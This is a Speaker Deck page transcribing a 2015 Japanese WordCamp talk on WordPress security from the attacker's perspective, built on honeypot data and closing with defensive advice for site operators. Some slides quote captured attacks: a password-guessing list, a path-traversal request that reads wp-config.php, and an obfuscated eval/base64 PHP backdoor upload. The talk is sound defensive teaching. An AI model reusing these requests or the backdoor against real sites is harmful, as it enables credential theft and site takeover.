Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
攻撃者からみたWordPressセキュリティ / WordCamp Kansai 2015
Search
yoshinori matsumoto
July 27, 2015
Technology
8
4.7k
攻撃者からみたWordPressセキュリティ / WordCamp Kansai 2015
WordCamp Kansai 2015
2015/07/26
yoshinori matsumoto
July 27, 2015
Tweet
Share
More Decks by yoshinori matsumoto
See All by yoshinori matsumoto
WordPress セキュリティガイド #wpmeetupkyoto / WP Security Guide
ym405nm
6
3.3k
FIDO2導入してみたを考えてみた / Around The Auth Capy Matsumoto
ym405nm
0
200
Hack L33t Fighters Ⅱ #owaspsendai
ym405nm
0
270
WordPress保安検査ガイド〜運用可能なセキュリティを始めるために〜 / wpcamp_haneda_security
ym405nm
1
640
CAPYのFIDOへの取り組み / Capy FIDO
ym405nm
0
150
WordPress 管理者がおさえておきたい Web アプリケーションセキュリティ / owasp-wordpress-meetup
ym405nm
1
1.5k
Extreme Honyepotter
ym405nm
0
800
コミュニティ活動からみるPHPセキュリティ / PHP Conference Kansai 2015
ym405nm
0
500
Other Decks in Technology
See All in Technology
DevRelの始め方
moongift
PRO
1
380
20240912 JJUGナイトセミナー
mii1004
0
140
ついに出た!OpenAIの最新モデル「o1」って何がすごいの?
minorun365
PRO
3
730
開発生産性を始める前に開発チームができること / optim-improve-development-productivity.pdf
optim
0
100
App Router を実プロダクトで採用して見えてきた勘所をちょっとだけ紹介
marokanatani
1
920
DroidKaigi 2024 たすけて!ViewModel
mhidaka
5
880
ナレッジグラフとLLMの相互利用
koujikozaki
0
400
Segment Anything Model 2
tenten0727
3
670
実務における脅威モデリングを考えよう
nikinusu
0
460
「家族アルバム みてね」における運用管理・ オブザーバビリティの全貌 / Overview of Operation Management and Observability in FamilyAlbum
isaoshimizu
4
160
Functional TypeScript
naoya
11
4.8k
アプリをリリースできる状態に保ったまま 段階的にリファクタリングするための 戦略と戦術 / Strategies and tactics for incremental refactoring
yanzm
6
1.3k
Featured
See All Featured
Fashionably flexible responsive web design (full day workshop)
malarkey
401
65k
For a Future-Friendly Web
brad_frost
174
9.3k
Fontdeck: Realign not Redesign
paulrobertlloyd
80
5.1k
Designing for Performance
lara
604
68k
Mobile First: as difficult as doing things right
swwweet
221
8.8k
Building Adaptive Systems
keathley
36
2.1k
10 Git Anti Patterns You Should be Aware of
lemiorhan
653
58k
Templates, Plugins, & Blocks: Oh My! Creating the theme that thinks of everything
marktimemedia
26
2k
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
23
1.7k
Java REST API Framework Comparison - PWX 2021
mraible
PRO
27
7.4k
Creatively Recalculating Your Daily Design Routine
revolveconf
215
12k
Stop Working from a Prison Cell
hatefulcrawdad
267
20k
Transcript
攻撃者からみた WordPressセキュリティ 松本 悦宜 @ym405nm 発表 2015/07/27 加筆修正 2015/07/28
自己紹介 • 松本 悦宜 (まつもと よしのり) • 神戸デジタル・ラボ セキュリティソリューション事業部 •
セキュリティ診断 / コンサルティング • 講演: OWASP AppSec APAC 2014, Hack In The Box Amsterdam HAXPO 2014, HTML5とか勉強会 • 共著:WordPressプロフェッショナル養成読本(技術評論社) • 脆弱性報告: Welcart、MailPoet Plugin など @ym405nm
目次 • 現状 • 攻撃者について • 実際に攻撃されてみた • 傾向と対策 •
まとめ
WordPress セキュリティの現状
WordPress = 狙われる? 熊本競輪でサイト改ざん - 原因はWPプラグイン「FancyBox」の脆弱性 http://www.security-next.com/056249l
現状 マルウェアが設置されているサイトのうち 19% が WordPressという調査も
脆弱性の数 昨年1年間に JVN に届けられている数は 17 件 http://jvndb.jvn.jp/
脆弱性の数 関連ソフトウェアも含めると 301 件 ※例外が含まれていたり、JVNに届けられていないものもあります 参考 Drupal : 81件
攻撃者について
誰がやってるのか? • ハクティビスト • 政治的主張など、自分たちの主張を通すためにサイトを改ざんする • 改ざんしたものを目立つようにアピールする • マルウェア配布者 •
難読化したスクリプトなどを仕込み訪問者にマルウェア感染させる • 標的型攻撃者グループ • 使用するマルウェアのホスティングとして使用する • 攻撃者と通信をし、他社への攻撃に利用される
ハクティビストによる攻撃事例 • よく見られる改ざんパターン HACKED BY A HACKER For Sale!! ①
攻撃者の名前や主張が 表示される場合 ② 偽ブランドサイトに 書き換えられる場合
(会場のみ)
標的型攻撃に利用される例 踏み台サイト (WordPress) 攻撃者 標的となる組織 ①マルウエア設置 ②標的型メール送信 ③誘導
なぜ狙うのか?
なぜWordPressを狙うのか • 圧倒的なユーザ数 • 行き届かないユーザ管理 • 100人以上の編集者を抱えるサイト • 編集者、管理者の面識がほとんどないサイト •
サードパーティ製ソフトウェアの普及 • テーマやプラグイン • セキュリティレベルはそれぞれの開発者に依存する
なぜWordPressを狙うのか • 古いバージョンは脆弱性がわかっている • 脆弱性情報から詳細が推測可能なものも • ソースコードから攻撃手法が推測可能 • 攻撃手法が公開されているものもある
WordPress ≠あぶない! • シェアが多いという点で狙われがちではあるが… • 本体のセキュリティに対する意識が高い • セキュリティ対策が増えてきた 危ないというイメージよりも、 安全に運用しようという意識が大事
どのように?
どのように狙われているのか • 攻撃者は弱そうな WordPress を狙っている • どこを狙えばいいのか • URLから特徴がわかるのか •
脆弱なソフトウェアを使用しているサイトを探す • 脆弱性情報を共有するメーリングリスト • 脆弱性売買サイト ※ただし WordPress 関連の脆弱性は 無料で配布されていることが多い データを集めてみた
実際に攻撃されてみた
攻撃を集めるには WordPress WordPress 攻撃者 なぜ攻撃されない? なぜ攻撃される?
攻撃を集めるには WordPress 攻撃者 攻撃されるコンテンツとは?
どのように狙われているのか WP BOT ログ解析 コンテンツ投稿 攻撃/スキャン 収集 WP WP Demo
収集した結果
最近多く見られる攻撃パターン • アカウントクラッキング • wp-config.php 情報の窃取 • ファイルアップロード 簡単に事例をみてみましょう! WordPressに対する攻撃
テーマ・プラグインに対する攻撃
アカウントクラッキング 試行パスワード 回数 [server-name]123456 96 0 72 [server-name]123 49 [server-name][server-name]
48 [server-name]000000 48 [server-name]111 48 [server-name]111111 48 [server-name]1234 48 [server-name]12345 48 [server-name]12345678 48 [server-name]123abc 48 [server-name]222 48 [server-name]222222 48 [server-name]333 48 [server-name]444 48 [server-name]555 48 [server-name]555555 48 [server-name]666 48 [server-name]666666 48 ※ 2014年3月~5月計測
wp-config.php 情報の窃取 POST /wp-content/themes/dejavu/lib/scripts/dl-skin.php HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux amd64)
AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 Host: server Accept-Encoding: gzip Referer: http://server Accept-Charset: utf-8,windows-1251;q=0.7,*;q=0.6 Accept-Language: en-us,en;q=0.8 Keep-Alive: 300 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.4 Content-Length: 60 Content-Type: application/x-www-form-urlencoded _mysite_download_skin=..%2F..%2F..%2F..%2F..%2Fwp-config.php wp-config.php の内容を読み取ろうとしている (会場のみ) (会場のみ)
ファイルアップロード Content-Disposition: form-data; name="Filedata"; filename="ifire.php" Content-Type: text/plain <?php eval(gzinflate(base64_decode("DZZHDqwIEkTv0qv/xQIovEa9wHtXeDYtvPee009dIJX5FBk RxZn0f6q3Gcs+2Ys/abIVOPpfXmRTXvz5R4hjYd08eetcBFr0pQjoAYzFmIynUXP1twBDkLIVp
9ku+c7Gx5lyEF*******sO0rvRimq14L4AP4oNUm42E/uiMCbyyu1txOSxZtXwSNTvMO1d 1JuzCHsVdjwr534ek0DFSSeQXkmNVMhLNMB1rr79KCJIAAIIgUYKX/u8/f//+/d//AQ=="))); ?> 既知のファイルアップロード機能に認証がない脆弱性を使用して PHPファイルをアップロードしようとしている アップロードされたファイルは 攻撃者の攻撃用ツールとして動作される
ファイルアップロードって? 画像 攻撃用 WordPress テーマ 攻撃者によるアップロード方法 外部からアクセス可能 セキュリティ用語では「バックドア」と呼ばれ 攻撃者とサーバの裏口/勝手口のように使われる
(会場のみ)
悪用事例 • ページを改ざんされる • データベースの情報を持っていかれる • 他のサーバ/サイトの攻撃の踏み台になる
運用者の対策
運用者の対策(鉄則編) • WordPress やテーマ・プラグインは最新版に保つ • アカウントの管理をしっかりする • パスワードは強度なものにする • テーマ
/ プラグインの選定をする • メンテナンス頻度 • 脆弱性情報への対応頻度 • 明らかに不要なものは無効→削除しておく
運用者の対策(応用編) • セキュリティ拡張機能(プラグイン)や、セキュ リティ製品の導入を検討する
運用者の対策 • あわせて対策したい • サーバの選定 • ログの確認(ログイン履歴、アクセスログ) • 脆弱性情報の収集
まとめ
まとめ • 今後もWordPressに対する攻撃は減らない • 攻撃者は既知のテーマ / プラグインの脆弱性を使用す ることが多い • アカウントの管理や、テーマ
/ プラグインの管理を しっかりとする 安全なWordPressライフを!
おまけ
Follow me! 会員サイトとして、 適宜詳細データをお知らせする予定です 画面イメージ(開発中のものです) 今日ご紹介したデータは専用サイトにて公開予定 • 現在β版として運用中です • 正式版は有料アカウントとしてサービスの提供予定です
• 現在、レビュアーを募集中です。(主に開発者・セキュリティ関係者にお願いしています。レビュー期間中は無料でサービス をご使用いただけます) http://wp-portal.net
ご清聴ありがとうございました Any Questions ? Mail :
[email protected]
Twitter : ym405nm
Facebook : facebook.com/ym405nm